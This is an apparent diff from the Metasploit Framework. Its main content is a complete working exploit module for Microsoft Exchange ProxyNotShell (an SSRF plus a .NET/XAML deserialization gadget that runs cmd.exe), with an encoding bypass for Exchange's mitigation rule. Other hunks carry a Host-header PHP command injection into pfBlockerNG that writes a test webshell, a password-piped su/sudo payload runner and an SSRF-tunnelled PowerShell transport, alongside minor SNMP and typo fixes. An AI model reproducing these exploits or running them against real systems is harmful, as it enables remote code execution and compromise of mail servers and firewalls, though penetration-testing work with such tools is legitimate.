%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
|
||||
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
|
||||
)
|
||||
opts[:data].gsub!(
|
||||
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
|
||||
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
|
||||
)
|
||||
res = send_http(method, uri, opts)
|
||||
raise WinRM::WinRMAuthorizationError.new('Server responded with 401 Unauthorized.') if res&.code == 401
|
||||
|
||||
res
|
||||
end
|
||||
})
|
||||
|
||||
successful = true
|
||||
begin
|
||||
winrm.shell(:powershell) do |shell|
|
||||
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
|
||||
shell.extend(SSRFWinRMConnection::PowerShell)
|
||||
shell.run({ cmdlet: cmdlet, args: args }) do |stdout, stderr|
|
||||
unless stdout.blank?
|
||||
vprint_line('PSRP output received:')
|
||||
vprint_line(stdout)
|
||||
end
|
||||
unless stderr.blank?
|
||||
successful = false
|
||||
vprint_error('PSRP error received:')
|
||||
vprint_line(stderr)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue WinRM::WinRMAuthorizationError => e
|
||||
fail_with(Msf::Exploit::Failure::NoAccess, e.message)
|
||||
rescue WinRM::WinRMError => e
|
||||
vprint_error("Exception: #{e.message}")
|
||||
successful = false
|
||||
rescue Msf::Exploit::Failed => e
|
||||
raise e
|
||||
rescue RuntimeError => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
successful = false
|
||||
end
|
||||
|
||||
successful
|
||||
end
|
||||
|
||||
def send_http(method, uri, opts = {})
|
||||
request = {
|
||||
'method' => method,
|
||||
'uri' => uri,
|
||||
'agent' => datastore['UserAgent'],
|
||||
'ctype' => opts[:ctype],
|
||||
'cookie' => opts[:cookie],
|
||||
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
|
||||
}
|
||||
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
|
||||
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
|
||||
request = request.merge(opts[:authentication]) unless opts[:authentication].nil?
|
||||
|
||||
begin
|
||||
received = send_request_cgi(request)
|
||||
rescue Errno::ECONNRESET => e
|
||||
fail_with(Msf::Exploit::Failure::Disconnected, 'Server reset the connection.')
|
||||
end
|
||||
|
||||
fail_with(Msf::Exploit::Failure::TimeoutExpired, 'Server did not respond in an expected way.') unless received
|
||||
|
||||
received
|
||||
end
|
||||
|
||||
class XMLTemplate
|
||||
def self.render(template_name, context = nil)
|
||||
file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxymaybeshell', "#{template_name}.xml.erb")
|
||||
template = ::File.binread(file_path)
|
||||
case context
|
||||
when Hash
|
||||
b = binding
|
||||
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
|
||||
b.eval(locals.join)
|
||||
when NilClass
|
||||
b = binding
|
||||
else
|
||||
raise ArgumentError
|
||||
end
|
||||
b.eval(Erubi::Engine.new(template).src)
|
||||
end
|
||||
end
|
||||
|
||||
class SSRFWinRMConnection < WinRM::Connection
|
||||
class MessageFactory < WinRM::PSRP::MessageFactory
|
||||
def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
|
||||
WinRM::PSRP::Message.new(
|
||||
runspace_pool_id,
|
||||
WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
|
||||
XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
|
||||
pipeline_id
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
# we have to define this class so we can define our own transport factory that provides one backed by the SSRF
|
||||
# vulnerability
|
||||
class TransportFactory < WinRM::HTTP::TransportFactory
|
||||
class HttpSsrf < WinRM::HTTP::HttpTransport
|
||||
# rubocop:disable Lint/
|
||||
def initialize(endpoint, options)
|
||||
@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
|
||||
@ssrf_proc = options[:ssrf_proc]
|
||||
# this tracks the backend target, the PSRP session needs to communicate with one target
|
||||
# this would be the case if Exchange Data Access Group (DAG) is in use
|
||||
@backend = nil
|
||||
@max_backend_attempts = [options.fetch(:max_backend_retries, 10) + 1, 1].max
|
||||
end
|
||||
|
||||
def send_request(message)
|
||||
resp = nil
|
||||
@max_backend_attempts.times do
|
||||
resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
|
||||
|
||||
if resp.code == 500 && resp.headers['X-CalculatedBETarget'] != @backend
|
||||
# retry the request if it failed and the backend was different than the target
|
||||
next
|
||||
end
|
||||
|
||||
break
|
||||
end
|
||||
|
||||
if resp&.code == 200 && @backend.nil?
|
||||
@backend = resp.headers['X-CalculatedBETarget']
|
||||
end
|
||||
|
||||
WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
|
||||
end
|
||||
|
||||
attr_reader :backend
|
||||
end
|
||||
|
||||
def create_transport(connection_opts)
|
||||
raise NotImplementedError unless connection_opts[:transport] == :ssrf
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def init_ssrf_transport(opts)
|
||||
HttpSsrf.new(opts[:endpoint], opts)
|
||||
end
|
||||
end
|
||||
|
||||
module PowerShell
|
||||
def send_command(command, _arguments)
|
||||
command_id = SecureRandom.uuid.to_s.upcase
|
||||
message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
|
||||
fragmenter.fragment(message) do |fragment|
|
||||
command_args = [connection_opts, shell_id, command_id, fragment]
|
||||
if fragment.start_fragment
|
||||
resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
|
||||
command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
|
||||
else
|
||||
transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
|
||||
end
|
||||
end
|
||||
|
||||
command_id
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(connection_opts)
|
||||
# these have to be set to truthy values to pass the option validation, but they're not actually used because hax
|
||||
connection_opts.merge!({ user: :ssrf, password: :ssrf })
|
||||
super(connection_opts)
|
||||
end
|
||||
|
||||
def transport
|
||||
@transport ||= begin
|
||||
transport_factory = TransportFactory.new
|
||||
transport_factory.create_transport(@connection_opts)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -137,7 +137,12 @@ module SingleCommandShell
|
||||
|
||||
# Send the command to the session's stdin.
|
||||
delimiter = "echo #{token}"
|
||||
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
|
||||
if cmd.strip.end_with?(command_separator)
|
||||
# This command already ends with a delimiter - don't need to add another one
|
||||
shell_data = cmd + "#{delimiter}#{command_termination}"
|
||||
else
|
||||
shell_data = cmd + "#{command_separator}#{delimiter}#{command_termination}"
|
||||
end
|
||||
unless @is_echo_shell
|
||||
shell_data = "#{delimiter}#{command_separator}#{shell_data}"
|
||||
end
|
||||
|
||||
@@ -91,7 +91,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
return
|
||||
end
|
||||
if res.code != 401
|
||||
vprint_error("http://#{rhost}:#{rport} - Authorization not requested")
|
||||
vprint_error("http://#{rhost}:#{rport}#{uri} - Authorization not requested")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
@@ -865,6 +865,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
|
||||
@@ -49,6 +49,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
)
|
||||
end
|
||||
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
|
||||
@@ -65,6 +65,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
type: 'snmp.users',
|
||||
data: users
|
||||
)
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
|
||||
# too noisy for a scanner
|
||||
ensure
|
||||
|
||||
@@ -310,7 +310,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
echo \"success\";
|
||||
break;
|
||||
fi;
|
||||
done;
|
||||
done
|
||||
SCRIPT
|
||||
.gsub(/\s+/, ' ')) =~ /success/
|
||||
end
|
||||
@@ -361,7 +361,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
def execute_payload(fname)
|
||||
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
|
||||
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -Sb #{fname}\"")
|
||||
end
|
||||
|
||||
def exploit
|
||||
@@ -402,4 +402,13 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module")
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
# Because we deleted the user directory, a meterp shell will be unusable until we chdir somewhere that exists
|
||||
# So let's just use the WritableDir that must exist, given its use earlier
|
||||
if !session.nil? && (client.type == 'meterpreter')
|
||||
client.core.use('stdapi')
|
||||
client.fs.dir.chdir(datastore['WritableDir'])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
register_options([
|
||||
OptString.new("BODY", [false, 'The message for the document body', '']),
|
||||
OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt'])
|
||||
OptString.new('FILENAME', [true, 'The OpenOffice Text document name', 'msf.odt'])
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
@@ -106,16 +106,37 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def check
|
||||
upload_shell
|
||||
check_resp = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "/#{@webshell_name}"),
|
||||
'vars_post' => {
|
||||
@parameter_name.to_s => 'id'
|
||||
test_file_name = Rex::Text.rand_text_alpha(4..12)
|
||||
test_file_content = Rex::Text.rand_text_alpha(4..12)
|
||||
test_injection = <<~EOF
|
||||
<?php echo file_put_contents('/usr/local/www/#{test_file_name}','#{test_file_content}');
|
||||
EOF
|
||||
encoded_php = test_injection.unpack('H*')[0].upcase
|
||||
send_request_raw(
|
||||
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
|
||||
'headers' => {
|
||||
'Host' => "' *; echo '16i #{encoded_php} P' | dc | php; '"
|
||||
}
|
||||
)
|
||||
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || check_resp.body.nil? || !check_resp.body.include?('uid=0(root) gid=0(wheel)')
|
||||
sleep datastore['WfsDelay']
|
||||
|
||||
check_resp = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "/#{test_file_name}")
|
||||
)
|
||||
return Exploit::CheckCode::Safe('Error uploading shell, the system is likely patched.') if check_resp.nil? || !check_resp.code == 200 || !check_resp.body.include?(test_file_content)
|
||||
|
||||
# Clean up test webshell "/usr/local/www/#{test_file_name}"
|
||||
clean_up_injection = <<~EOF
|
||||
<?php echo unlink('/usr/local/www/#{test_file_name}');
|
||||
EOF
|
||||
encoded_clean_up = clean_up_injection.unpack('H*')[0].upcase
|
||||
send_request_raw(
|
||||
'uri' => normalize_uri(target_uri.path, '/pfblockerng/www/index.php'),
|
||||
'headers' => {
|
||||
'Host' => "' *; echo '16i #{encoded_clean_up} P' | dc | php; '"
|
||||
}
|
||||
)
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
@@ -133,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def exploit
|
||||
upload_shell unless datastore['AutoCheck']
|
||||
upload_shell
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
|
||||
@@ -0,0 +1,236 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Remote::HTTP::Exchange
|
||||
include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Microsoft Exchange ProxyNotShell RCE',
|
||||
'Description' => %q{
|
||||
This module chains two vulnerabilities on Microsoft Exchange Server
|
||||
that, when combined, allow an authenticated attacker to interact with
|
||||
the Exchange Powershell backend (CVE-2022-41040), where a
|
||||
deserialization flaw can be leveraged to obtain code execution
|
||||
(CVE-2022-41082). This exploit only support Exchange Server 2019.
|
||||
|
||||
These vulnerabilities were patched in November 2022.
|
||||
},
|
||||
'Author' => [
|
||||
'Orange Tsai', # Discovery of ProxyShell SSRF
|
||||
'Spencer McIntyre', # Metasploit module
|
||||
'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q', # Vulnerability analysis
|
||||
'Piotr Bazydło', # Vulnerability analysis
|
||||
'Rich Warren', # EEMS bypass via ProxyNotRelay
|
||||
'Soroush Dalili' # EEMS bypass
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2022-41040' ], # ssrf
|
||||
[ 'CVE', '2022-41082' ], # rce
|
||||
[ 'URL', 'https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend' ],
|
||||
[ 'URL', 'https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/' ],
|
||||
[ 'URL', 'https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9' ],
|
||||
[ 'URL', 'https://rw.md/2022/11/09/ProxyNotRelay.html' ]
|
||||
],
|
||||
'DisclosureDate' => '2022-09-28', # announcement of limited details, patched 2022-11-08
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true
|
||||
},
|
||||
'Platform' => ['windows'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows Dropper',
|
||||
{
|
||||
'Platform' => 'windows',
|
||||
'Arch' => [ARCH_X64, ARCH_X86],
|
||||
'Type' => :windows_dropper
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows Command',
|
||||
{
|
||||
'Platform' => 'windows',
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Type' => :windows_command
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
|
||||
'AKA' => ['ProxyNotShell'],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),
|
||||
OptString.new('DOMAIN', [ false, 'The domain to authenticate to' ])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptEnum.new('EemsBypass', [ true, 'Technique to bypass the EEMS rule', 'IBM037v1', %w[IBM037v1 none]])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
@ssrf_email ||= Faker::Internet.email
|
||||
res = send_http('GET', '/mapi/nspi/')
|
||||
return CheckCode::Unknown if res.nil?
|
||||
return CheckCode::Unknown('Server responded with 401 Unauthorized.') if res.code == 401
|
||||
return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'
|
||||
|
||||
# actually run the powershell cmdlet and see if it works, this will fail if:
|
||||
# * the credentials are incorrect (USERNAME, PASSWORD, DOMAIN)
|
||||
# * the exchange emergency mitigation service M1 rule is in place
|
||||
return CheckCode::Safe unless execute_powershell('Get-Mailbox')
|
||||
|
||||
CheckCode::Vulnerable
|
||||
rescue Msf::Exploit::Failed => e
|
||||
CheckCode::Safe(e.to_s)
|
||||
end
|
||||
|
||||
def ibm037(string)
|
||||
string.encode('IBM037').force_encoding('ASCII-8BIT')
|
||||
end
|
||||
|
||||
def send_http(method, uri, opts = {})
|
||||
opts[:authentication] = {
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD'],
|
||||
'preferred_auth' => 'NTLM'
|
||||
}
|
||||
|
||||
if uri =~ /powershell/i && datastore['EemsBypass'] == 'IBM037v1'
|
||||
uri = "/Autodiscover/autodiscover.json?#{ibm037(@ssrf_email + uri + '?')}&#{ibm037('Email')}=#{ibm037('Autodiscover/autodiscover.json?' + @ssrf_email)}"
|
||||
opts[:headers] = {
|
||||
'X-Up-Devcap-Post-Charset' => 'IBM037',
|
||||
# technique needs the "UP" prefix, see: https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System/net/System/Net/HttpListenerRequest.cs#L362
|
||||
'User-Agent' => "UP #{datastore['UserAgent']}"
|
||||
}
|
||||
else
|
||||
uri = "/Autodiscover/autodiscover.json?#{@ssrf_email + uri}?&Email=Autodiscover/autodiscover.json?#{@ssrf_email}"
|
||||
end
|
||||
|
||||
super(method, uri, opts)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# if we're doing pre-exploit checks, make sure the target is Exchange Server 2019 because the XamlGadget does not
|
||||
# work on Exchange Server 2016
|
||||
if datastore['AutoCheck'] && !datastore['ForceExploit'] && (version = exchange_get_version)
|
||||
vprint_status("Detected Exchange version: #{version}")
|
||||
if version < Rex::Version.new('15.2')
|
||||
fail_with(Failure::NoTarget, 'This exploit is only compatible with Exchange Server 2019 (version 15.2)')
|
||||
end
|
||||
end
|
||||
|
||||
@ssrf_email ||= Faker::Internet.email
|
||||
|
||||
case target['Type']
|
||||
when :windows_command
|
||||
vprint_status("Generated payload: #{payload.encoded}")
|
||||
execute_command(payload.encoded)
|
||||
when :windows_dropper
|
||||
execute_cmdstager({ linemax: 7_500 })
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
xaml = Nokogiri::XML(<<-XAML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root
|
||||
<ResourceDictionary
|
||||
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
|
||||
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
|
||||
xmlns:System="clr-namespace:System;assembly=mscorlib"
|
||||
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
|
||||
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
|
||||
<ObjectDataProvider.MethodParameters>
|
||||
<System:String>cmd.exe</System:String>
|
||||
<System:String>/c #{cmd.encode(xml: :text)}</System:String>
|
||||
</ObjectDataProvider.MethodParameters>
|
||||
</ObjectDataProvider>
|
||||
</ResourceDictionary>
|
||||
XAML
|
||||
|
||||
identity = Nokogiri::XML(<<-IDENTITY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root
|
||||
<Obj N="V" RefId="14">
|
||||
<TN RefId="1">
|
||||
<T>System.ServiceProcess.ServiceController</T>
|
||||
<T>System.Object</T>
|
||||
</TN>
|
||||
<ToString>Object</ToString>
|
||||
<Props>
|
||||
<S N="Name">Type</S>
|
||||
<Obj N="TargetTypeForDeserialization">
|
||||
<TN RefId="1">
|
||||
<T>System.Exception</T>
|
||||
<T>System.Object</T>
|
||||
</TN>
|
||||
<MS>
|
||||
<BA N="SerializationData">
|
||||
#{Rex::Text.encode_base64(XamlLoaderGadget.generate.to_binary_s)}
|
||||
</BA>
|
||||
</MS>
|
||||
</Obj>
|
||||
</Props>
|
||||
<S>
|
||||
<![CDATA[#{xaml}]]>
|
||||
</S>
|
||||
</Obj>
|
||||
IDENTITY
|
||||
|
||||
execute_powershell('Get-Mailbox', args: [
|
||||
{ name: '-Identity', value: identity }
|
||||
])
|
||||
end
|
||||
end
|
||||
|
||||
class XamlLoaderGadget < Msf::Util::DotNetDeserialization::Types::SerializedStream
|
||||
include Msf::Util::DotNetDeserialization
|
||||
|
||||
def self.generate
|
||||
from_values([
|
||||
Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
|
||||
Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(
|
||||
class_info: Types::General::ClassInfo.new(
|
||||
obj_id: 1,
|
||||
name: 'System.UnitySerializationHolder',
|
||||
member_names: %w[Data UnityType AssemblyName]
|
||||
),
|
||||
member_type_info: Types::General::MemberTypeInfo.new(
|
||||
binary_type_enums: %i[String Primitive String],
|
||||
additional_infos: [ 8 ]
|
||||
),
|
||||
member_values: [
|
||||
Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
|
||||
obj_id: 2,
|
||||
string: 'System.Windows.Markup.XamlReader'
|
||||
)),
|
||||
4,
|
||||
Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(
|
||||
obj_id: 3,
|
||||
string: 'PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'
|
||||
))
|
||||
]
|
||||
),
|
||||
Types::RecordValues::MessageEnd.new
|
||||
])
|
||||
end
|
||||
end
|
||||
@@ -3,8 +3,6 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'winrm'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
@@ -12,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
@@ -122,8 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
|
||||
OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
|
||||
OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
|
||||
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),
|
||||
OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', Rex::UserAgent.session_agent])
|
||||
OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002'])
|
||||
])
|
||||
end
|
||||
|
||||
@@ -259,7 +256,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def probe_powershell_backend(common_access_token)
|
||||
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}", cookie: :none)
|
||||
powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{common_access_token}")
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200
|
||||
end
|
||||
|
||||
@@ -274,7 +271,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
probe_powershell_backend(common_access_token)
|
||||
|
||||
print_status("Assigning the 'Mailbox Import Export' role via #{email_address}")
|
||||
unless execute_powershell(common_access_token, 'New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: email_address } ])
|
||||
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
|
||||
{ name: '-Role', value: 'Mailbox Import Export' },
|
||||
{ name: '-User', value: email_address }
|
||||
])
|
||||
unless role_assigned
|
||||
fail_with(Failure::BadConfig, 'The specified email address does not have the \'Mailbox Import Export\' role and can not self-assign it')
|
||||
end
|
||||
|
||||
@@ -297,7 +298,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
common_access_token = build_token(this_sid)
|
||||
next unless execute_powershell(common_access_token, 'New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: this_email_address } ])
|
||||
role_assigned = execute_powershell('New-ManagementRoleAssignment', cat: common_access_token, args: [
|
||||
{ name: '-Role', value: 'Mailbox Import Export' },
|
||||
{ name: '-User', value: this_email_address }
|
||||
])
|
||||
next unless role_assigned
|
||||
|
||||
@mailbox_user_sid = this_sid
|
||||
@mailbox_user_email = this_email_address
|
||||
@@ -310,25 +315,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
def send_http(method, uri, opts = {})
|
||||
ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"
|
||||
unless opts[:cookie] == :none
|
||||
opts[:cookie] = "Email=#{ssrf}"
|
||||
end
|
||||
|
||||
request = {
|
||||
'method' => method,
|
||||
'uri' => "/#{ssrf}#{uri}",
|
||||
'agent' => datastore['UserAgent'],
|
||||
'ctype' => opts[:ctype],
|
||||
'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
|
||||
}
|
||||
request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
|
||||
request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
|
||||
request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?
|
||||
|
||||
received = send_request_cgi(request)
|
||||
fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received
|
||||
|
||||
received
|
||||
opts[:cookie] = "Email=#{ssrf}"
|
||||
super(method, "/#{ssrf}#{uri}", opts)
|
||||
end
|
||||
|
||||
def get_emails
|
||||
@@ -388,50 +376,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
Rex::Text.encode_base64(token)
|
||||
end
|
||||
|
||||
def execute_powershell(common_access_token, cmdlet, args: [])
|
||||
winrm = SSRFWinRMConnection.new({
|
||||
endpoint: full_uri('PowerShell/'),
|
||||
transport: :ssrf,
|
||||
ssrf_proc: proc do |method, uri, opts|
|
||||
uri = "#{uri}?X-Rps-CAT=#{common_access_token}"
|
||||
uri << "&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}"
|
||||
opts[:cookie] = :none
|
||||
opts[:data].gsub!(
|
||||
%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
|
||||
"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
|
||||
)
|
||||
opts[:data].gsub!(
|
||||
%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
|
||||
"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
|
||||
)
|
||||
send_http(method, uri, opts)
|
||||
end
|
||||
})
|
||||
|
||||
successful = true
|
||||
begin
|
||||
winrm.shell(:powershell) do |shell|
|
||||
shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
|
||||
shell.extend(SSRFWinRMConnection::PowerShell)
|
||||
shell.run({ cmdlet: cmdlet, args: args }) do |_stdout, stderr|
|
||||
unless stderr.blank?
|
||||
successful = false
|
||||
vprint_error('PSRP error received:')
|
||||
vprint_line(stderr)
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue WinRM::WinRMError => e
|
||||
vprint_error("Exception: #{e.message}")
|
||||
successful = false
|
||||
rescue RuntimeError => e
|
||||
